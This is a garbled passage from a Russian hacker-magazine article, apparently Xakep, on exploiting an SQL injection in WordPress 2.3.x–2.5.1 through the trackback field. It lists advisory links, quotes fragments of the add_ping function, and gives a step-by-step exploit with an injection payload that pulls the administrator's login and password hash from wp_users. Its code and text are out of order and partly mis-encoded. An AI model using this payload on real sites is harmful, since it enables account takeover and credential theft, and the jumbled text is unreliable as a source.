ЛУЧШИХ ВИРУСОВ - Xakep Online

взлом
Редактирование кукисов в Opera
Генерация таблиц для admin takeover от Электа
links
• wordpress.org/
download/releasearchive/
— архив
релизов WordPress.
• milw0rm.com/
exploits/4721 —
Charset Remote
SQL Injection
Vulnerability.
• buayacorp.com/
files/wordpress/
wordpress-sqlinjection-advisory.
html — Remote
SQL Injection in
WordPress and
WordPress MU.
• securityfocus.
com/bid/27669
— WordPress
'xmlrpc.php' Post
Edit Unauthorized
Access Vulnerability.
• securityfocus.
com/bid/28845
— WordPress
'cat' Parameter
Directory Traversal
Vulnerability.
Эксплойт для баги с create_function
value="Çàãîëîâîê ðññ" />
query("UPDATE $wpdb->posts
SET pinged = '$new' WHERE ID = $post_id");
}
Небольшие раскопки дают понять, что фильтра «add_ping»
не существует в коде движка.
Получается, что данные из первого запроса подставляются
во второй запрос без какой-либо фильтрации! А теперь
о способе эксплуатации данной уязвимости. Запасись
терпением :). Чтобы использовать баг, тебе необходимо две
инсталляции вордпресса:
1. Все равно какой версии. Создай новый пост с любым тайтлом
и содержимым:
pingme
Запомни адрес созданного поста (например, http://lamer/
wp1/?p=2).
2.Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием
и любым тайтлом, а в поле «Send trackbacks to:» пиши:
test',post_title=(select/**/concat(user_
login,':',user_pass)/**/from/**/wp_users/**/
where/**/id=1),post_content_filtered =’blah
054
function add_ping($post_id, $uri) {
// Add a URL to those already pung
global $wpdb;
$pung = $wpdb->get_var("SELECT pinged FROM
Сохраняй пост.
Снова заходи в его редактирование, но теперь редактируй
само содержимое и вставля й туда ссылку в html-формате на
пост из первого блога:
XÀÊÅÐ 04 /124/ 09